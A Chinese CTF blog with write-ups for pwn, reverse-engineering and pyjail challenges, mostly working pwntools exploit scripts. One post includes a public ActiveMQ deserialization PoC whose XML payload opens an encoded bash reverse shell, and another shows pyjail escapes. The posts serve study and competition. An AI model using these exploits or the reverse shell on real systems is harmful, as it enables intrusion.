快来和我贴贴qaq
post @ 2024-02-11

pwn

pwn1

glibc 2.31 有pie,choice 10能分一个很大的堆块,所以思路是把tcache填满,然后free掉一个大堆块,通过unsortedbin去泄露libc的地址,然后通过tcache bin attack去写free hook为system,再去free掉一块内容为binsh的堆 触发system(/bin/sh)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-1BCh] BYREF
  int v5; // [rsp+8h] [rbp-1B8h] BYREF
  int v6; // [rsp+Ch] [rbp-1B4h]
  char *v7; // [rsp+10h] [rbp-1B0h]
  char *s; // [rsp+18h] [rbp-1A8h]
  void *ptr[52]; // [rsp+20h] [rbp-1A0h]

  ptr[51] = (void *)__readfsqword(0x28u);
  init(argc, argv, envp);
  v6 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            menu();
            __isoc99_scanf("%d", &v4);
            getchar();
            if ( v4 != 1 )
              break;
            s = (char *)malloc(0x28uLL);
            puts("Enter the note");
            fgets(s, 10, stdin);
            puts("Note created");
            ptr[v6++] = s;
          }
          if ( v4 != 2 )
            break;
          puts("Which note do you want to delete?");
          __isoc99_scanf("%d", &v5);
          getchar();
          if ( v6 < v5 )
            goto LABEL_15;
          free(ptr[v5 - 1]);
        }
        if ( v4 != 3 )
          break;
        puts("Which note do you want to edit?");
        __isoc99_scanf("%d", &v5);
        getchar();
        if ( v6 < v5 )
        {
LABEL_15:
          puts("Invalid choice");
        }
        else
        {
          fgets((char *)ptr[v5 - 1], 100, stdin);
          puts("Note edited");
        }
      }
      if ( v4 != 4 )
        break;
      puts("Which note do you want to read?");
      __isoc99_scanf("%d", &v5);
      getchar();
      if ( v6 < v5 )
        goto LABEL_15;
      puts((const char *)ptr[v5 - 1]);
    }
    if ( v4 == 5 )
      return 0;
    if ( v4 == 10 )
    {
      v7 = (char *)malloc(0x4B0uLL);
      puts("Enter the note");
      fgets(v7, 10, stdin);
      puts("Note created");
      ptr[v6++] = v7;
    }
  }
}

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "20.55.48.101"
PORT = 1339

elf = context.binary = ELF('./chall')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_note(idx):
    ru("5. Exit\n")
    sl("1")
    sla("Enter the note",str(idx))

def delete_note(idx):
    ru("5. Exit\n")
    sl(b"2")
    sla("Which note do you want to delete?",str(idx + 1))

def edit_note(idx,data):
    ru("5. Exit\n")
    sl(b"3")
    sla("Which note do you want to edit?",str(idx + 1))
    sl(data)

def read_note(idx):
    ru("5. Exit\n")
    sl(b"4")
    sla("Which note do you want to read?",str(idx + 1))

def create_big_note(idx):
    ru("5. Exit\n")
    sl(b"10")
    sla("Enter the note",str(idx))

p = connect()

for i in range(7):
    create_note(i)

create_big_note(7)
create_note(8)

for i in range(7):
    delete_note(i)

delete_note(7)
# g(p)

read_note(7)
libc_base = r_leak_libc_64() - (0x7f874aedebe0 - 0x7f874acf3000)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"libc_base ->{hex(libc_base)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"system ->{hex(system)}")
# g(p)

for i in range(7):
    create_note(i)
create_big_note(7)


delete_note(0)
delete_note(1)

edit_note(1,p64(free_hook))
create_note(1)
create_note(2)
edit_note(18,p64(system))

create_note(2)
edit_note(2,b'/bin/sh')
delete_note(2)

p.interactive()
Read More
post @ 2024-02-07

re

ezASM

checkflag可以看出 cmp的逻辑是 异或0x22

section .data
    c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
    flag db 33 dup(0)
    format db "plz input your flag: ", 0
    success db "Congratulations!", 0
    failure db "Sry, plz try again", 0

section .text
    global _start

_start:
    ; Print prompt
    mov eax, 4
    mov ebx, 1
    mov ecx, format
    mov edx, 20
    int 0x80

    ; Read user input
    mov eax, 3
    mov ebx, 0
    mov ecx, flag
    mov edx, 33
    int 0x80

    ; Check flag
    xor esi, esi
check_flag:
    mov al, byte [flag + esi]
    xor al, 0x22
    cmp al, byte [c + esi]
    jne failure_check

    inc esi
    cmp esi, 33
    jne check_flag

    ; Print success message
    mov eax, 4
    mov ebx, 1
    mov ecx, success
    mov edx, 14
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

failure_check:
    ; Print failure message
    mov eax, 4
    mov ebx, 1
    mov ecx, failure
    mov edx, 18
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

exp

a = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]

for i in a:
    print(chr(i ^ 0x22),end="")

ezPYC

pycdc 反编译发现反编译失败,使用pydas反编译查看逻辑

[Code]
    File Name: ezPYC.py
    Object Name: <module>
    Qualified Name: <module>
    Arg Count: 0
    Pos Only Arg Count: 0
    KW Only Arg Count: 0
    Stack Size: 5
    Flags: 0x00000000
    [Names]
        'flag'
        'c'
        'input'
        'range'
        'i'
        'ord'
        'print'
        'exit'
    [Locals+Names]
    [Constants]
        (
            87
            75
            71
            69
            83
            121
            83
            125
            117
            106
            108
            106
            94
            80
            48
            114
            100
            112
            112
            55
            94
            51
            112
            91
            48
            108
            119
            97
            115
            49
            112
            112
            48
            108
            100
            37
            124
            2
        )
        (
            1
            2
            3
            4
        )
        'plz input flag:'
        0
        36
        1
        4
        'Sry, try again...'
        'Wow!You know a little of python reverse'
        None
    [Disassembly]
        0       RESUME                        0
        2       BUILD_LIST                    0
        4       LOAD_CONST                    0: (87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2)
        6       LIST_EXTEND                   1
        8       STORE_NAME                    0: flag
        10      BUILD_LIST                    0
        12      LOAD_CONST                    1: (1, 2, 3, 4)
        14      LIST_EXTEND                   1
        16      STORE_NAME                    1: c
        18      PUSH_NULL
        20      LOAD_NAME                     2: input
        22      LOAD_CONST                    2: 'plz input flag:'
        24      PRECALL                       1
        28      CALL                          1
        38      STORE_NAME                    2: input
        40      PUSH_NULL
        42      LOAD_NAME                     3: range
        44      LOAD_CONST                    3: 0
        46      LOAD_CONST                    4: 36
        48      LOAD_CONST                    5: 1
        50      PRECALL                       3
        54      CALL                          3
        64      GET_ITER
        66      FOR_ITER                      62 (to 192)
        68      STORE_NAME                    4: i
        70      PUSH_NULL
        72      LOAD_NAME                     5: ord
        74      LOAD_NAME                     2: input
        76      LOAD_NAME                     4: i
        78      BINARY_SUBSCR
        88      PRECALL                       1
        92      CALL                          1
        102     LOAD_NAME                     1: c
        104     LOAD_NAME                     4: i
        106     LOAD_CONST                    6: 4
        108     BINARY_OP                     6 (%)
        112     BINARY_SUBSCR
        122     BINARY_OP                     12 (^)
        126     LOAD_NAME                     0: flag
        128     LOAD_NAME                     4: i
        130     BINARY_SUBSCR
        140     COMPARE_OP                    3 (!=)
        146     POP_JUMP_FORWARD_IF_FALSE     21
        148     PUSH_NULL
        150     LOAD_NAME                     6: print
        152     LOAD_CONST                    7: 'Sry, try again...'
        154     PRECALL                       1
        158     CALL                          1
        168     POP_TOP
        170     PUSH_NULL
        172     LOAD_NAME                     7: exit
        174     PRECALL                       0
        178     CALL                          0
        188     POP_TOP
        190     JUMP_BACKWARD                 63
        192     PUSH_NULL
        194     LOAD_NAME                     6: print
        196     LOAD_CONST                    8: 'Wow!You know a little of python reverse'
        198     PRECALL                       1
        202     CALL                          1
        212     POP_TOP
        214     LOAD_CONST                    9: None
        216     RETURN_VALUE

exp

Read More
post @ 2024-02-06

pwn

one_byte

刚刚好能覆盖返回地址一个字节,看了一下返回地址是一个libc的地址,29dxx,把29dxx附件的汇编看了一遍,没有很直接的输出函数,或者是跳转到输出函数的汇编,。那这时候的思路是把一个字节爆破一遍,把有输出的字节全部记录下来,最后发现在 \x89那回到了main函数,把下一位flag输出出来了

.text:0000000000029D89 48 8B 44 24 08                mov     rax, [rsp+98h+var_90]
.text:0000000000029D8E FF D0                         call    rax

mov rax [rsp + 8] 刚刚好取到了main函数的起始地址,然后由于输出flag是根据rbp 加一个偏移去取flag字符的地址,重新call flag的时候 rbp更新,刚刚好取到下边,太巧妙了

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "101.32.220.189"
PORT = 32371

elf = context.binary = ELF('./one_byte')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()


# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()
# g(p)
payload = b'a' * 0x11 + b'\x89'
flag = b''
for i in range(70):
    try:

        sa("Are you satisfied with the result?\n",payload)
        ru("gift: ")
        flag += r(1)
    except:
        pass


print(flag)

p.interactive()

unhappy

确实是unhappy,想了半天,限制了h用不了64位的寄存器,卡在写binsh那一步了,在想有什么方法可以写寄存器高三十二位,后面发现,能不能再syscall一次read,这样就能绕过前面的cmp了

爆破 哪些指令不能用的脚本

Read More
post @ 2024-01-31

唉,咱好菜,就出了两个题,ghostscript那个题调了半天没调通

Be-an-ActiveMq-Hacker

搜了一下 用网上的exp打通了

https://blog.csdn.net/weixin_49125123/article/details/135577221

import io
import socket
import sys


def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))

    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://192.168.0.101:8888/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xMzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

vision

问题出在 not Support 4 这里,在 strncmp这,

else
 {
   memset(s2, 0, sizeof(s2));
   v11 = strchr(a1, 32);
   if ( v11 )
   {
     strncpy(s2, a1, v11 - a1);
   }
   else
   {
     n = strlen(a1);
     strncpy(s2, a1, n);
   }
   v13 = strlen(s2);
   if ( v13 )
   {
     v7 = 0;
     v10 = off_4020[0];
     while ( strncmp(v10, s2, v13) )
     {
       v10 = off_4020[++v7];
       if ( !off_4020[v7] )
       {
         strcpy(a2, "Not Support 4. \n");
         return __readfsqword(0x28u) ^ v23;
       }
     }

这里的逻辑是,判断输入的字符串在不在命令列表里面,strncmp 需要一个大小的参数,来判断cmp多少字节,cmp成功后会先判断是不是一些预设的命令,如果不是就会传到下边popen那执行命令

Read More
post @ 2024-01-26

pwn

nc_pwnre

一个异或的逻辑, 异或后是一串base64编码,提交解码后的文本就进到shell了

a = [0x44,0x7c,0x5e,0x44,0x41,0x21,0x42,0x57,0x75,0x21,0x74,0x56,0x44,0x57,0x5d,0x67,0x44,0x46,0x29,0x45,0x5d,0x56,0x29,0x67,0x46,0x22,0x25,0x76,0x74,0x6a,0x52,0x69,0x5d,0x47,0x41,0x78,0x76,0x41,0x2d,0x2d]

for i in a:
    print(chr(i ^ 0x10),end="")
TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==

1705130191002

ret_text

__isoc99_scanf("%d", &v2);
 if ( v2 < 0 && (v2 = -v2, v2 < 0) )

-2147483648 进行 - 运算后会溢出,满足这个if的约束,能走到下边read,read那有一个栈溢出,覆盖返回地址为backdoor就好了

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ret_text_v0')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "node7.anna.nssctf.cn"
    port = 28070
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



payload = "-2147483648"

sla("Easy ret2text!!!Input:\n",payload)

payload = b'a' * (0x20 + 0x4) + p32(0x8049328)

sla("OK!!!You are right.\n",payload)

p.interactive()
Read More
post @ 2024-01-24

pwn

好菜,pwn就出了一个题,堆题做不出

nmanager

可以用printf %s泄露libc的地址,然后打ret2libc,n为8刚刚好到rbp那

unsigned __int64 __fastcall modify(__int64 a1)
{
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  do
  {
    puts("## select the idx you want modify ##");
    __isoc99_scanf("%d", &n);
    printf("gender: ");
    read(0, (void *)(120LL * n + a1), 0x20uLL);
    printf("age: ");
    __isoc99_scanf("%lld", 120LL * n + a1 + 32);
    printf("name: ");
    read(0, (void *)(120LL * n + a1 + 40), 0x40uLL);
    printf(
      "[idx%d]:\nname: %s\nage: %lld\ngender: %s\n",
      (unsigned int)n,
      (const char *)(120LL * n + a1 + 40),
      *(_QWORD *)(120LL * n + a1 + 32),
      (const char *)(120LL * n + a1));
    puts("quit now?(Y/y)");
    read(0, buf, 3uLL);
  }
  while ( buf[0] != 121 && buf[0] != 89 );
  return v3 - __readfsqword(0x28u);
}

exp

from pwn import *
from LibcSearcher import *
import ctypes

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./nmanager')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "8.147.131.194"
    port = 43635
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



ru(" ######################################################\n")

libc = ctypes.CDLL(None)
libc.srand(int(time.time()))
rand_result = libc.rand()
characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = characters[rand_result % 62]

ru("input password: ")
sl(password)


bss = 0x404000
ret = 0x000000000040101a
leave_ret = 0x40157f
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
check = 0x401585
printf = 0x4014F3


sla("## select the idx you want modify ##\n","8")

sa("gender: ","AAAAAAAA")
sla("age: ","123")
sa("name: ","nyyyddddn")

ru("AAAAAAAA")
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x29d90
success(f"{hex(libc_base)}")

libc = elf.libc
rdi = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

sa("quit now?(Y/y)\n","n")

sla("## select the idx you want modify ##\n","8")
payload = flat([
    bss,ret,rdi,binsh
])

sa("gender: ",payload)
sla("age: ",str(system))
sa("name: ","nyyyddddn")


# g(p)
sa("quit now?(Y/y)\n","y")

p.interactive()


book[未解决]

delete存在一个uaf

void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v0 = my_read();
  free(*((void **)&heap + v0));
}
Read More
post @ 2024-01-19

pwnable.tw

持续更新

start

检查一下保护 和查看每个段的权限发现,栈上有可执行权限

lhj@lhj-virtual-machine:~/Desktop/pwntw/start$ checksec start
[*] '/home/lhj/Desktop/pwntw/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/lhj/Desktop/pwntw/start/start
0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

查看了下题目逻辑,有一个输出一个输入,执行完输入后,add 0x14使得esp到 0x804809d(exit),然后ret执行 (exit)结束程序。可以发现输入大小是0x3c,是能覆盖返回地址的。如果能把栈的地址泄露出来的话,就能往栈上写shellcode,然后ret到shellcode那

Dump of assembler code for function _start:
   0x08048060 <+0>:     push   esp
   0x08048061 <+1>:     push   0x804809d
   0x08048066 <+6>:     xor    eax,eax
   0x08048068 <+8>:     xor    ebx,ebx
   0x0804806a <+10>:    xor    ecx,ecx
   0x0804806c <+12>:    xor    edx,edx
   0x0804806e <+14>:    push   0x3a465443
   0x08048073 <+19>:    push   0x20656874
   0x08048078 <+24>:    push   0x20747261
   0x0804807d <+29>:    push   0x74732073
   0x08048082 <+34>:    push   0x2774654c
   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4
   0x0804808f <+47>:    int    0x80
   0x08048091 <+49>:    xor    ebx,ebx
   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80
   0x08048099 <+57>:    add    esp,0x14
=> 0x0804809c <+60>:    ret

会发现执行到ret的时候 stack上有一个栈相关的地址,可以通过栈溢出覆盖返回地址调用 write来把esp打印出来泄露这个地址,泄露完后刚刚好又能再read一次,第二次read就写shellcode,然后把返回地址修改成shellcode的起始地址(用泄露出来的地址,gdb去查看这个地址和shellcode的偏移来算shellcode的地址),第二次read esp到返回地址之间的距离太短了,所以在返回地址后边写shellcode。shellcode的地址 = leak_addr + 0x14(esp距离返回地址的偏移)

0x08048087 <+39>:    mov    ecx,esp
0x08048089 <+41>:    mov    dl,0x14
0x0804808b <+43>:    mov    bl,0x1
0x0804808d <+45>:    mov    al,0x4
0x0804808f <+47>:    int    0x80
Read More
post @ 2024-01-18

pwn

basic-overflow

有一个shell函数,栈溢出覆盖返回地址为shell

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[64]; // [rsp+0h] [rbp-40h] BYREF

  gets(v4, argv, envp);
  return 0;
}
int shell()
{
  return execve("/bin/sh", 0LL, 0LL);
}

exp

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./basic-overflow')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "34.123.15.202"
    port = 5000
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


payload = b'a' * (0x40 + 0x8) + p64(0x401136)

sl(payload)

p.interactive()

baby-shellcode

Read More
post @ 2024-01-04

fd

程序逻辑是这样的, 从fd里读数据,如果数据为LETMEWIN就会输出flag。那可以让fd = 0 (标准输入),让read去read我的输入,然后再输入LETMEWIN

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;
}
./fd 4660
LETMEWIN

collision

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

代码逻辑是 读总共20个字节的数据,分五次读,一次读4个字节,累加后如果为0x21DD09EC 就会输出flag,得按字节码输入,如果直接输入数字的话,一个数字会占一个字节(ascii),那怎么加都加不到0x21dd09ec的,可以用python和 linux下的 ``来解决键入字节码的问题

exp:

./col `python -c 'print "\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc8\xce\xc5\x06"'`

bof

Read More
post @ 2024-01-02

pyjali

level 1

__import__('os').system('cat /flag')

level2

f"{__import__('os').system('cat /flag')}"

level3

有一个字符长度限制,测试一下长度13,试了一下breakpoint可以使用,可以用breakpoint打开一个调试器去绕过这个长度限制

lhj@lhj-virtual-machine:~/Desktop/cbctf/pwn$ nc training.0rays.club 10100

 _     _______     _______ _       _____
| |   | ____\ \   / / ____| |     |___ /
| |   |  _|  \ \ / /|  _| | |       |_ \
| |___| |___  \ V / | |___| |___   ___) |
|_____|_____|  \_/  |_____|_____| |____/


Welcome to the JBNRZ's pyjail
Enter your expression and I will evaluate it for you.
Example:
  input: 1 + 1
  Result: 2
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) __import__('os').system('sh')
*** SyntaxError: invalid syntax
(Pdb) print(1)
1
(Pdb) __import__('os').system('cat /flag')
CBCTF{9fc71bcf-1809-413d-98e1-41155ffd6211}

level4

和3 一样可以通过breakpoint

Read More
⬆︎TOP